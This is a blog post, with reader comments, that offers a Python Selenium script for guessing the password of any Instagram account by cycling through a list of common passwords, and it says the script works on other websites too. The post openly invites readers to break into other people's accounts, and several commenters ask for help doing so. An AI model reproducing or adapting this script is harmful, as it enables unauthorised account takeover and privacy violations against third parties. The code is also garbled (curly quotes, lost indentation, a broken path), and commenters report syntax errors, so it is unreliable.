I know everyone who is reading this post wants to become a hacker. Here in this post, you will be able to download a python script for hacking any Instagram account.
I have also searched the whole web for ‘how to hack Instagram account’ and I hardly got any article or video very useful. But I got some ideas which help me to create a script to hack Instagram accounts. However, you can use this python script for hacking password for any website.
Let me clear you, it is not so easy to guess passwords instantly. It may take a time period from one minute to years. It all depends upon how easy the password the user has set up. For instance, the passwords like aaaaaa, qwerty, zxcvbnm, or the password contains only characters are very easy to guess.
In this post, we are using web automation. Using automation, we can login to any website automatically using username and password in the python script.
Here in the following script, the username needs to write in the code and password is being taken from a .txt file. Actually the .txt file contains mostly used password on the web. One can also expand this .txt file.
How to implement the code:
- Open an IDE (Code Editor): There are many IDEs for Python Code like Idle, Pycharm, Visual Studio Code and many others.
- Paste the following given code.
- Run the code.
As you run the code, it will redirected to the instagram login page. The username field of login page is taken from the python and the password will be taken from the .txt file one by one. It will keep running till check the last password from the .txt file or successfull login to the instagram account.
Copy the following python code and run it on your computer
Note: # symbol is used for creating the comments in python programming langugage.
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException
from time import sleep
#webdriver = webdriver.Firefox()
#webdriver.get(‘https://www.instagram.com/accounts/login/’)
PATH=”C:Program Fileschromedriver.exe”
webdriver=webdriver.Chrome(PATH)
webdriver.get(‘https://www.instagram.com/accounts/login/’)
sleep(3)
username = webdriver.find_element_by_name(‘username’)
username.send_keys(‘username’) # write the username of account you want to hack.
password = webdriver.find_element_by_name(‘password’)
passfile=open(‘mat.txt’,’r’)
def display(a):
print(“log in password “+a)
for i in passfile:
try:
password.send_keys(i)
submit = webdriver.find_element_by_tag_name(‘form’)
submit.submit()
c=webdriver.current_url
sleep(5)
b=webdriver.find_element_by_xpath(“//button[contains(text(), ‘Not Now’)]”)
b.click()
sleep(5)
c=webdriver.current_url
except NoSuchElementException:
password.send_keys(Keys.CONTROL,”a”,Keys.DELETE)
sleep(5)
url2=webdriver.current_url
if c!=url2:
display(i)
break
Thanks for visiting us. We hope that the Instagram account hacking tutorial will help you.
PATH=”C:Program Fileschromedriver.exe”
this line giving error in syder, anaconda navigator syntax error
same here
how to solve this
give any program for Instagram password hacking in syder
Use your own path , make a txt file and copy the path and replace it with the current one
when I enter passfile=open(‘mat.txt’,’r’) it show’s error
Make sure, you have mat.txt file in the same folder.
how to identify path?
right click and copy the path
what is mat.txt file
It is a text file (Notepad file) that contains all the suspected passwords which we will use to guess the users’ passwords. you can download the text file from the internet.
i am not able to download can u pls send the link to download
Brother, there are many text files available on the internet. Just google “Most used passwords text file” and download.
Please send code to me
Provide me with your email. By the way, It is complete code.
nota bene that i use windows
damn mine mine is saying this
Traceback (most recent call last):
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\common\service.py”, line 72, in start
self.process = subprocess.Popen(cmd, env=self.env,
File “C:\Users\Onwuka Rosario\AppData\Local\Programs\Python\Python39\lib\subprocess.py”, line 951, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File “C:\Users\Onwuka Rosario\AppData\Local\Programs\Python\Python39\lib\subprocess.py”, line 1420, in _execute_child
hp, ht, pid, tid = _winapi.CreateProcess(executable, args,
PermissionError: [WinError 5] Access is denied
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\☠💀.py”, line 10, in
webdriver = webdriver.Chrome(PATH)
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\chrome\webdriver.py”, line 73, in __init__
self.service.start()
File “C:\Users\Onwuka Rosario\Documents\Aptech2\python\bot\venv\lib\site-packages\selenium\webdriver\common\service.py”, line 86, in start
raise WebDriverException(
selenium.common.exceptions.WebDriverException: Message: ‘Program Files’ executable may have wrong permissions.
please help me
where we will get this
hack instagram plis
it asks me to enter an open module
it worked for me
Good
send code
send code
Provide me with your email.
send me too plz
[email protected]
Can you send it to me as well please. My email is [email protected]
can u share code to me also pls
@[email protected]
[email protected]. This is my email account can you please send me the code.
hello could u please send your python script here?
anyone know why im getting this?
Traceback (most recent call last):
File “C:/Users/livmi/Desktop/passh.py”, line 1, in
from selenium import webdriver
ModuleNotFoundError: No module named ‘selenium’
help me i am getting error in this line
print(“log in password “+a)
it didnt work kindly please help me.sir
What error you are getting?
can anyone explain me in easy language.
what do i have to do??
Can you made a code for a account which is disabled? I don’t have access to email linked to the account and there is no other way to do get the 6-digit verification code. Please! I need a code. As the pictures I have posted don’t show my face and the selfie-video option was useless for me. Please help! Thank you very much.
It is not easy.
i have no syntax error but their is some other error occurs it is not in my program i can send this error to you
Yes
i always get syntax error
and did anyone crack insta password with this pls help me to do the same
i forgot my password and my eamil is also not responding
webdriver.get(‘https://www.instagram.com/Username/’)
^
SyntaxError: invalid character ‘‘’ (U+2018)
getting error like this
plz help me bro i dont get it how to use ??